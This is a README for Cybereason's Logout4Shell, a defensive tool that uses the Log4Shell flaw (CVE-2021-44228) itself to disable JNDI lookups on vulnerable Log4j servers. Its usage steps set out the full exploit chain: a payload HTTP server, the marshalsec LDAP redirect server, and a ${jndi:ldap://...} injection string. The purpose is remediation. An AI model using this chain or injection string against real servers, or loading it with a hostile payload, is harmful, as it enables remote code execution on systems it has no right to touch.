Logout4Shell

Description

A vulnerability impacting Apache Log4j versions 2.0 through 2.14.1 was disclosed on the project’s Github on December 9, 2021. The flaw has been dubbed “Log4Shell,”, and has the highest possible severity rating of 10. Software made or managed by the Apache Software Foundation (From here on just "Apache") is pervasive and comprises nearly a third of all web servers in the world—making this a potentially catastrophic flaw. The Log4Shell vulnerability CVE-2021-44228 was published on 12/9/2021 and allows remote code execution on vulnerabe servers.

While the best mitigation against this vulnerability is to patch log4j to 2.15.0 and above, in Log4j version (>=2.10) this behavior can be mitigated by setting system property log4j2.formatMsgNoLookups to true or by removing the JndiLookup class from the classpath. Additionally, if the server has Java runtimes >= 8u121, then by default, the settings com.sun.jndi.rmi.object.trustURLCodebase and com.sun.jndi.cosnaming.object.trustURLCodebase are set to “false”, mitigating this risk.

However, enabling these system property requires access to the vulnerable servers as well as a restart. The Cybereason research team has developed the following code that exploits the same vulnerability and the payload therein forces the logger to reconfigure itself with the vulnerable setting disabled - this effectively blocks any further attempt to exploit Log4Shell on this server.

This Proof of Concept is based on @tangxiaofeng7's tangxiaofeng7/apache-log4j-poc

However, this project attempts to fix the vulnerability by using the bug against itself.

You can learn more about Cybereason's "vaccine" approach to the Apache Log4Shell vulnerability (CVE-2021-44228) on our website.

Learn more: Cybereason Releases Vaccine to Prevent Exploitation of Apache Log4Shell Vulnerability (CVE-2021-44228)

Supported versions

Logout4Shell supports log4j version 2.0 - 2.14.1

How it works

On versions (>= 2.10.0) of log4j that support the configuration FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS, this value is set to True disabling the lookup mechanism entirely. Then, the log4j jarfile will be remade and patched. The patch is included in this git repository, however it is not needed in the final build because the real patch is included in the payload as Base64. On older versions, the payload searches all existing LoggerContexts and removes the jndi key from the Interpolator used to process ${} fields.

How to use

1. Download this repository and build it

   1.1 git clone https://github.com/cybereason/Logout4Shell.git

   1.2 build it - mvn package

   1.3 cd target/classes

   1.4 run the webserver - python3 -m http.server 8888

2. Download, build and run Marshalsec's ldap server

   2.1 git clone https://github.com/mbechler/marshalsec.git

   2.2 mvn package -DskipTests

   2.3 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<IP_OF_PYTHON_SERVER_FROM_STEP_1>:8888/#Log4jRCE"

3. To immunize a server

   3.1 enter ${jndi:ldap://<IP_OF_LDAP_SERVER_FROM_STEP_2>:1389/a} into a vulnerable field (such as user name)

DISCLAIMER:

The code described in this advisory (the “Code”) is provided on an “as is” and “as available” basis may contain bugs, errors and other defects. You are advised to safeguard important data and to use caution. By using this Code, you agree that Cybereason shall have no liability to you for any claims in connection with the Code. Cybereason disclaims any liability for any direct, indirect, incidental, punitive, exemplary, special or consequential damages, even if Cybereason or its related parties are advised of the possibility of such damages. Cybereason undertakes no duty to update the Code or this advisory.

License

The source code for the site is licensed under the MIT license, which you can find in the LICENSE file.